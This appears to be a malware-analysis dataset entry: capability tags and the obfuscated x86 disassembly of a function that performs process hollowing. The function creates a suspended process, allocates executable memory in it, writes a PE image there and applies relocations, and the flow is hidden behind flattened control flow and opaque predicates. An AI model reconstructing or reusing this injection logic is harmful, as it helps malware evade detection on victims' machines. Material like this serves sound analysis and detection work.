Function at 0x10002700
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x128
mov eax, dword [0x10034600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x130], 0x8912509b
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x134], eax
sub eax, 0x87628ebc
je 0x10003f26
jmp 0x1000273c
mov eax, dword [ebp - 0x134]
sub eax, 0x88475905
je 0x100039ca
jmp 0x10002752
mov eax, dword [ebp - 0x134]
sub eax, 0x8912509b
je 0x10003123
jmp 0x10002768
mov eax, dword [ebp - 0x134]
sub eax, 0x8ba52865
je 0x100041d7
jmp 0x1000277e
mov eax, dword [ebp - 0x134]
sub eax, 0x8bd343c0
je 0x100044dd
jmp 0x10002794
mov eax, dword [ebp - 0x134]
sub eax, 0x8efc27ae
je 0x100039d9
jmp 0x100027aa
mov eax, dword [ebp - 0x134]
sub eax, 0x8f791c93
je 0x10004a7b
jmp 0x100027c0
mov eax, dword [ebp - 0x134]
sub eax, 0x96c0081f
je 0x10004f31
jmp 0x100027d6
mov eax, dword [ebp - 0x134]
sub eax, 0x9933f68e
je 0x10004f40
jmp 0x100027ec
mov eax, dword [ebp - 0x134]
sub eax, 0x9a1f8383
je 0x1000499c
jmp 0x10002802
mov eax, dword [ebp - 0x134]
sub eax, 0x9dd68edb
je 0x100035e2
jmp 0x10002818
mov eax, dword [ebp - 0x134]
sub eax, 0x9e6ace90
je 0x1000481b
jmp 0x1000282e
mov eax, dword [ebp - 0x134]
sub eax, 0xa0f6e91f
je 0x1000429a
jmp 0x10002844
mov eax, dword [ebp - 0x134]
sub eax, 0xa1572028
je 0x10004070
jmp 0x1000285a
mov eax, dword [ebp - 0x134]
sub eax, 0xa1a2d056
je 0x10003486
jmp 0x10002870
mov eax, dword [ebp - 0x134]
sub eax, 0xa27dc764
je 0x100038d9
jmp 0x10002886
mov eax, dword [ebp - 0x134]
sub eax, 0xa7f30917
je 0x10003518
jmp 0x1000289c
mov eax, dword [ebp - 0x134]
sub eax, 0xa9a05c47
je 0x100041f9
jmp 0x100028b2
mov eax, dword [ebp - 0x134]
sub eax, 0xaab0bf90
je 0x10004c37
jmp 0x100028c8
mov eax, dword [ebp - 0x134]
sub eax, 0xaba959b6
je 0x10003561
jmp 0x100028de
mov eax, dword [ebp - 0x134]
sub eax, 0xad258749
je 0x10004467
jmp 0x100028f4
mov eax, dword [ebp - 0x134]
sub eax, 0xaee1c025
je 0x10004cb4
jmp 0x1000290a
mov eax, dword [ebp - 0x134]
sub eax, 0xaf0da930
je 0x10003771
jmp 0x10002920
mov eax, dword [ebp - 0x134]
sub eax, 0xaf76252a
je 0x10004fc1
jmp 0x10002936
mov eax, dword [ebp - 0x134]
sub eax, 0xb6bda637
je 0x10003e1c
jmp 0x1000294c
mov eax, dword [ebp - 0x134]
sub eax, 0xbb9392e7
je 0x10003a70
jmp 0x10002962
mov eax, dword [ebp - 0x134]
sub eax, 0xbbe44589
je 0x100040e8
jmp 0x10002978
mov eax, dword [ebp - 0x134]
sub eax, 0xbc5a8f5d
je 0x100047ad
jmp 0x1000298e
mov eax, dword [ebp - 0x134]
sub eax, 0xbcd7555c
je 0x1000479e
jmp 0x100029a4
mov eax, dword [ebp - 0x134]
sub eax, 0xbe75cb44
je 0x1000464f
jmp 0x100029ba
mov eax, dword [ebp - 0x134]
sub eax, 0xbe94bd4f
je 0x10003dc2
jmp 0x100029d0
mov eax, dword [ebp - 0x134]
sub eax, 0xc0fd8114
je 0x10004749
jmp 0x100029e6
mov eax, dword [ebp - 0x134]
sub eax, 0xc5cffd73
je 0x100049c7
jmp 0x100029fc
mov eax, dword [ebp - 0x134]
sub eax, 0xc7446aa2
je 0x10004bc9
jmp 0x10002a12
mov eax, dword [ebp - 0x134]
sub eax, 0xc81c3359
je 0x10003439
jmp 0x10002a28
mov eax, dword [ebp - 0x134]
sub eax, 0xcf79d88e
je 0x100045fb
jmp 0x10002a3e
mov eax, dword [ebp - 0x134]
sub eax, 0xd16b2b58
je 0x10003477
jmp 0x10002a54
mov eax, dword [ebp - 0x134]
sub eax, 0xd1fbf6f8
je 0x10004a32
jmp 0x10002a6a
mov eax, dword [ebp - 0x134]
sub eax, 0xd3ea1579
je 0x10004cc3
jmp 0x10002a80
mov eax, dword [ebp - 0x134]
sub eax, 0xd422ff94
je 0x1000455e
jmp 0x10002a96
mov eax, dword [ebp - 0x134]
sub eax, 0xd533e3fb
je 0x10003f96
jmp 0x10002aac
mov eax, dword [ebp - 0x134]
sub eax, 0xd5f4b620
je 0x100034f7
jmp 0x10002ac2
mov eax, dword [ebp - 0x134]
sub eax, 0xd9c780a0
je 0x10004312
jmp 0x10002ad8
mov eax, dword [ebp - 0x134]
sub eax, 0xdc20d7a0
je 0x10004758
jmp 0x10002aee
mov eax, dword [ebp - 0x134]
sub eax, 0xdc923137
je 0x10004a8a
jmp 0x10002b04
mov eax, dword [ebp - 0x134]
sub eax, 0xde81dded
je 0x100036ad
jmp 0x10002b1a
mov eax, dword [ebp - 0x134]
sub eax, 0xdeceed74
je 0x100037ee
jmp 0x10002b30
mov eax, dword [ebp - 0x134]
sub eax, 0xded6f101
je 0x10004ff6
jmp 0x10002b46
mov eax, dword [ebp - 0x134]
sub eax, 0xdf2b962c
je 0x10004e49
jmp 0x10002b5c
mov eax, dword [ebp - 0x134]
sub eax, 0xe0300739
je 0x100041ab
jmp 0x10002b72
mov eax, dword [ebp - 0x134]
sub eax, 0xe0f72a0a
je 0x1000327a
jmp 0x10002b88
mov eax, dword [ebp - 0x134]
sub eax, 0xe3442e1f
je 0x10004263
jmp 0x10002b9e
mov eax, dword [ebp - 0x134]
sub eax, 0xe5459e9f
je 0x1000487b
jmp 0x10002bb4
mov eax, dword [ebp - 0x134]
sub eax, 0xe8ca5894
je 0x10003e92
jmp 0x10002bca
mov eax, dword [ebp - 0x134]
sub eax, 0xe982e7fb
je 0x10004b8d
jmp 0x10002be0
mov eax, dword [ebp - 0x134]
sub eax, 0xecfc0d47
je 0x10003af3
jmp 0x10002bf6
mov eax, dword [ebp - 0x134]
sub eax, 0xed3d7184
je 0x1000498d
jmp 0x10002c0c
mov eax, dword [ebp - 0x134]
sub eax, 0xef1ab064
je 0x10003d76
jmp 0x10002c22
mov eax, dword [ebp - 0x134]
sub eax, 0xf0c351f9
je 0x10004dd6
jmp 0x10002c38
mov eax, dword [ebp - 0x134]
sub eax, 0xf2ce0eaf
je 0x1000324b
jmp 0x10002c4e
mov eax, dword [ebp - 0x134]
sub eax, 0xf63d04c2
je 0x100038b8
jmp 0x10002c64
mov eax, dword [ebp - 0x134]
sub eax, 0xfba5641e
je 0x10004e2b
jmp 0x10002c7a
mov eax, dword [ebp - 0x134]
sub eax, 0xfc059431
je 0x10004011
jmp 0x10002c90
mov eax, dword [ebp - 0x134]
sub eax, 0x1ed464c
je 0x10003d97
jmp 0x10002ca6
mov eax, dword [ebp - 0x134]
sub eax, 0x8579fb4
je 0x100043f7
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1b600
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x130], 0x437f7b65
jmp 0x10005000
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
add eax, 0xc72ece3e
add eax, ecx
sub eax, 0xc72ece3e
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x130], 0xe0f72a0a
jmp 0x10005000
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x12c], eax
mov edx, dword [ebp - 0x12c]
mov eax, 0xaee1c025
mov ecx, 0x39490410
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dl, byte [ebp - 0xcd]
mov eax, 0x7d4ec036
mov ecx, 0xa1a2d056
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dword [ebp - 0x130], 0xa1a2d056
jmp 0x10005000
mov eax, dword [ebp - 0x11c]
mov edx, dword [eax]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x130], 0xd5f4b620
jmp 0x10005000
mov edx, dword [ebp - 0xcc]
mov eax, 0xc7446aa2
mov ecx, 0xa7f30917
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2c2c41b3
mov ecx, 0xaba959b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc8], eax
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
add edx, 0xfba5dff8
sub edx, 1
sub edx, 0xfba5dff8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2c2c41b3
mov ecx, 0x9dd68edb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dword [ebp - 0x130], 0x691ff9bd
jmp 0x10005000
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.100023f0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10c]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xc4], eax
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
add edx, 0x1c5f1bf2
sub edx, 1
sub edx, 0x1c5f1bf2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x119bd322
mov ecx, 0xaf0da930
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dword [ebp - 0x130], 0x52280e68
jmp 0x10005000
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc4]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0xbd], al
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
add edx, 0x6d0efff
sub edx, 1
sub edx, 0x6d0efff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf0c351f9
mov ecx, 0xf63d04c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dl, byte [ebp - 0xbd]
mov eax, 0x8efc27ae
mov ecx, 0xa27dc764
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x24]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov dword [ebp - 0x130], 0x4f6e8810
jmp 0x10005000
mov dword [ebp - 0x130], 0x8efc27ae
jmp 0x10005000
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x114]
mov edx, dword [edx]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x124]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x12c]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
sub eax, 0x4c2eada3
add eax, 0x18
add eax, 0x4c2eada3
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x12c]
movzx eax, word [eax + 0x14]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x130], 0xbb9392e7
jmp 0x10005000
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xb8]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov dword [eax], 0
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov dword [eax], 0
mov dword [ebp - 0x130], 0x2ce9dd2f
jmp 0x10005000
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
sub edx, 0x4878f947
sub edx, 1
add edx, 0x4878f947
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xab87b4f
mov ecx, 0x123f9156
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dl, byte [ebp - 0xa1]
mov eax, 0x2d671ed7
mov ecx, 0x1ed464c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x130], 0xbe94bd4f
jmp 0x10005000
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x9c]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
sub esi, 0x52d98554
add esi, eax
add esi, 0x52d98554
mov edx, dword [ebp - 0xa0]
mov eax, 0x2d671ed7
mov ecx, 0xb6bda637
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
add edx, 0xcfecb79e
sub edx, 1
sub edx, 0xcfecb79e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd06148d
mov ecx, 0xe8ca5894
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd06148d
mov ecx, 0x4049a893
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x98]
add ecx, eax
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov edx, dword [ebp - 0x108]
mov edx, dword [edx]
mov esi, dword [ebp - 0xf8]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x51997af0
sub eax, edx
add eax, 0x51997af0
add ecx, eax
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x130], 0x2d671ed7
jmp 0x10005000
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
add eax, 0x6eaf7e2e
add eax, 1
sub eax, 0x6eaf7e2e
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x130], 0x7d232776
jmp 0x10005000
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
sub edx, 0x5ab62603
sub edx, 1
add edx, 0x5ab62603
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5652ccbd
mov ecx, 0xa1572028
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dword [ebp - 0x130], 0x2ce9dd2f
jmp 0x10005000
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
add edx, 0x88b7a9c0
sub edx, 1
sub edx, 0x88b7a9c0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x96c0081f
mov ecx, 0x5fb0d711
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dword [ebp - 0x130], 0x330124c7
jmp 0x10005000
mov edx, dword [ebp - 0x84]
mov eax, 0x79c48adc
mov ecx, 0xa9a05c47
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0x351a7201
sub ecx, 8
sub ecx, 0x351a7201
shr ecx, 1
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x130], 0xe3442e1f
jmp 0x10005000
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
sub ecx, 0xbef69da2
sub ecx, eax
add ecx, 0xbef69da2
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0
mov dword [ebp - 0x130], 0xa0f6e91f
jmp 0x10005000
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf0]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x75], al
mov dword [ebp - 0x130], 0x5dc2bd28
jmp 0x10005000
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
sub edx, 0xb6284b7
sub edx, 1
add edx, 0xb6284b7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9933f68e
mov ecx, 0x691fb6d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
add edx, 0x7594996a
sub edx, 1
sub edx, 0x7594996a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4661642a
mov ecx, 0x8bd343c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov ax, word [ebp - 0x74]
movzx eax, ax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0xc2ec84a8
or eax, edx
or ecx, 0xc2ec84a8
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x71], al
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4661642a
mov ecx, 0xd422ff94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dl, byte [ebp - 0x71]
mov eax, 0xbc5a8f5d
mov ecx, 0x30888262
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xbcd7555c
mov ecx, 0xbe75cb44
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7506f44d
mov ecx, 0x1cee6d5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dword [ebp - 0x130], 0xdc20d7a0
jmp 0x10005000
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x130], 0xbcd7555c
jmp 0x10005000
mov dword [ebp - 0x130], 0xbc5a8f5d
jmp 0x10005000
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6af47c37
mov ecx, 0x9e6ace90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
add edx, 0xed0a627b
sub edx, 1
sub edx, 0xed0a627b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6af47c37
mov ecx, 0x33572c7a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
sub edx, 0xec9c2a4e
sub edx, 1
add edx, 0xec9c2a4e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaf76252a
mov ecx, 0x59b862d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dword [ebp - 0x130], 0xa0f6e91f
jmp 0x10005000
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx]
mov edx, dword [ecx + 4]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x130], 0xc5cffd73
jmp 0x10005000
mov ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x130], 0x330124c7
jmp 0x10005000
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a6ab594
mov ecx, 0x8f791c93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dword [ebp - 0x130], 0xdc923137
jmp 0x10005000
